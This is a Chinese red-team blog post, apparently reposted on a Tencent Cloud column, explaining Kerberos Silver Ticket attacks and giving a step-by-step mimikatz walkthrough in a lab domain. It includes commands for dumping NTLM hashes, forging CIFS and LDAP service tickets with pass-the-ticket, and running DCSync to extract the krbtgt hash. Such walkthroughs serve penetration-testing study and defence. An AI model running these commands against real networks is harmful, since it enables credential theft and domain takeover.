前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >白银票据(Silver Ticket)攻击

白银票据(Silver Ticket)攻击

作者头像
渗透攻击红队
发布2020-12-14 11:39:53
2.9K0
发布2020-12-14 11:39:53
举报
文章被收录于专栏:漏洞知识库

大家好,这里是 渗透攻击红队 的第 38 篇文章,本公众号会记录一些我学习红队攻击的复现笔记(由浅到深),不出意外每天一更

白银票据

Silver Ticket(白银票据)不同与 Golden Ticket。Silver Ticket 的利用过程是伪造 TGS,通过已知的授权服务密码生成一张可以访问该服务的 TGT。因为在票据生成过程中不需要使用 KDC,所以可以绕过域控制器,很少留下日志,而 Golden Ticket 在利用过程中需要由 KDC 颁发 TGT,并且在生成伪造的 TGT 的 20分钟内,TGS 不会对该 TGT 的真伪进行校验。

Silver Ticket(白银票据)依赖于服务账号的密码散列值,这不同于 Golden Ticket 利用需要使用 krbtgt 账号的密码哈希值,因此更加隐蔽。

Golden Ticket 使用 krbtgt 账号密码的哈希值,利用伪造高权限的 TGT 向 KDC 要求颁发拥有任意服务访问权限的票据,从而获取域控制器权限。

而 Silver Ticket(白银票据)会通过相应的服务账号来伪造 TGS,例如:LDAP、MSSQL、WinRM、DNS、CIFS 等,范围有限,只能获取对应服务权限。

Golden Ticket 是由 krbtgt 账号加密的,而 Silver Ticket(白银票据)是由特定服务账号加密的。

白银票据攻击

环境

攻击者在使用 Silver Ticket(白银票据)对内网进行攻击时,需要掌握下面的信息:

  • 域名
  • 域 SID(就是域成员SID值去掉最后的)
  • 目标服务器的 FQDN
  • 可利用的服务
  • 服务账号的 NTLM Hash
  • 需要伪造的用户名

白银票据伪造 CIFS 服务权限

CIFS 服务通常用于 Windows 主机之间的文件共享。

在当前域用户 mary 查询域控制器的共享目录的访问权限,发现没有权限:

代码语言:javascript
复制
dir \\OWA2010CN-God\c$

在域控制器中使用 mimikatz 获取服务账号的 NTLM Hash:

代码语言:javascript
复制
mimikatz log "privilege::debug" "sekurlsa::logonpasswords"

得到的域控制器的信息:

代码语言:javascript
复制
Username : Administrator
NTLM HASH:78c403b6e04402158d26c5581f9e954b
sid:S-1-5-21-1218902331-2157346161-1782232778

在命令行环境下清空当前系统中的票据,防止其他票据对实验环境进行干扰:

代码语言:javascript
复制
klist purge

或者可以使用 mimikatz 清除票据:

代码语言:javascript
复制
kerberos::purge

查看域的 SID 值:

代码语言:javascript
复制
whoami /user

得到的 SID :S-1-5-21-1218902331-2157346161-1782232778

之后就可以使用 mimikatz 生成伪造的 Silver Ticket 票据:(在不能访问域控制器的mary机器上执行)

代码语言:javascript
复制
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<伪造的用户名> /ptt

kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778  /target:OWA2010CN-God.god.org /rc4:78c403b6e04402158d26c5581f9e954b  /service:cifs /user:saul666 /ptt

这个时候就能访问到域控的共享目录了:

代码语言:javascript
复制
dir \\OWA2010CN-God\c$

白银票据伪造 LDAP 服务权限

使用 dcsync 从域控制器中获取指定用户的账号和密码哈希值,例如 krbtgt。

输入命令查看当前权限是否可以使用 dcsync 与与控制器进行同步:

代码语言:javascript
复制
# 命令格式
lsadump::dcsync /dc:域DC /domain:域名 /user:域用户名
# 示例
lsadump::dcsync /dc:OWA2010CN-God.god.org /domain:god.org /user:krbtgt

向域控制器获取 krbtgt 的密码哈希值失败,说明当前权限不能进行 dcsync 操作。

输入命令在域控制器中使用 mimikatz 获取服务账号的 NTLM Hash:

代码语言:javascript
复制
mimikatz log "privilege::debug" "sekurlsa::logonpasswords"

获取到的:

代码语言:javascript
复制
Username : OWA2010CN-GOD$
NTLM     : 78c403b6e04402158d26c5581f9e954b

然后为了防止其他票据对实验进行干扰,我们先清除内存中的票据:

代码语言:javascript
复制
klist purge

使用 mimikatz 生成伪造的 Silver Ticket,在之前不能使用 dcsync 从域控制器获取 krbtgt 密码哈希值的机器中输入命令:(域 mary 机器)

代码语言:javascript
复制
kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:OWA2010CN-God.god.org /service:LDAP /rc4:78c403b6e04402158d26c5581f9e954b /user:saul666 /ptt

这个时候输入命令,使用 dcsync 在域控制器中查询 krbtgt 的密码哈希值:

代码语言:javascript
复制
lsadump::dcsync /dc:OWA2010CN-God.god.org /domain:god.org /user:krbtgt

Silver Ticket 还可以用于伪造其他服务,例如以下:


参考文章:

https://blog.csdn.net/weixin_45728976/article/details/105290034

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-12-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透攻击红队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
访问管理
访问管理(Cloud Access Management,CAM)可以帮助您安全、便捷地管理对腾讯云服务和资源的访问。您可以使用CAM创建子用户、用户组和角色,并通过策略控制其访问范围。CAM支持用户和角色SSO能力,您可以根据具体管理场景针对性设置企业内用户和腾讯云的互通能力。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档